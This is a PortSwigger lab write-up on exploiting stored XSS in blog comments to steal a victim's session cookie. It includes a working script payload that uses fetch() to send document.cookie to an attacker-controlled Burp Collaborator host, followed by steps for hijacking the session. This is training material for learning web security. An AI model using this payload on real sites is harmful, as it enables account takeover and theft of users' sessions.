Exploiting cross-site scripting to steal cookies

4 min read Easy PortSwigger
XSS
Contents

On this page

The lab

here is how portswigger describes it

This lab contains a stored XSS vulnerability in the blog comments function. A simulated victim user views all comments after they are posted.

To solve the lab, exploit the vulnerability to exfiltrate the victim's session cookie, then use this cookie to impersonate the victim.

The idea#

this is the part that makes xss matter in the real world, so it is worth slowing down on. alert box is harmless, but the thing it proves is not, it proves we can run our javascript in someone else's browser, in their session, on the target site. once that is true, we are not limited to a popup. we can do anything their own page could do, and one of the most valuable things is reading their cookies

session cookie is the little token the site hands a logged in user so it can recognise them on every later request. if we can lift that token out of a victim's browser and drop it into ours, the site sees us as them, no password needed. that is why a stored xss that steals cookies is graded so highly, it is a straight path to account takeover, it fires on its own whenever a normal user views the poisoned page, and on a bug bounty it pay well for exactly those reasons. worth noting the one common guard

a quick practical note, this lab leans on burp collaborator to catch the stolen cookie, and collaborator is a burp professional feature, so you will want that to follow along

step 1 - Confirm the stored xss#

the lab tells us the bug is in the comments, so there is no need to go hunting. i opened a post, scrolled to the comment form, and left a comment with a script tag in it.

javascript
logicbreaker <script>alert(1)</script>

after posting, the alert fires every single time the article is loaded

11

that behaviour is the whole story in one shot. our script was saved with the comment and it runs for anyone who opens the page, which makes this a stored xss. and critically the lab says a simulated victim views every comment after it is posted, so our script will run inside that victim's browser without us having to lure them anywhere ;)

now that we know a script tag executes, we replace the harmless alert with something that ships the cookie off to a server we control. here is the comment with your own collaborator address in place of the placeholder

javascript
<script>
fetch('https://your-collaborator-subdomain', {
method: 'POST',
mode: 'no-cors',
body: document.cookie
})
</script>

so ...

fetch(...) makes an http request straight from the victim's browser to whatever address we give it. we point it at our burp collaborator subdomain, which is just a server we own that quietly logs every request that reaches it

body: document.cookie is the payload. document.cookie reads back all of the current site's cookies that javascript is allowed to see, the session cookie included and we stuff that whole string into the request body so it gets to us

mode: 'no-cors' is the quiet enabler. normally the browser guards requests going to a different site and would block us from reading the response. we do not care about the response at all, we only care that the request leaves the building with the cookie inside it, and no cors let that do

so the moment the victim's browser renders our comment, it runs this script and posts their cookie to us, all without a single visible sign to them

with the comment saved, the simulated victim comes along and views the comments, their browser executes our script, and a request lands in our collaborator with their cookie sitting in the body.

22

step 4 - impersonate the victim#

the last move is to become the victim. we take the session cookie value we just captured and place it into our own browser in place of our current session using the browser dev tools or burp then reload the lab. the site checks the cookie, sees the victim's session, and serves the page as if we were them

33

with this, the lab is solved!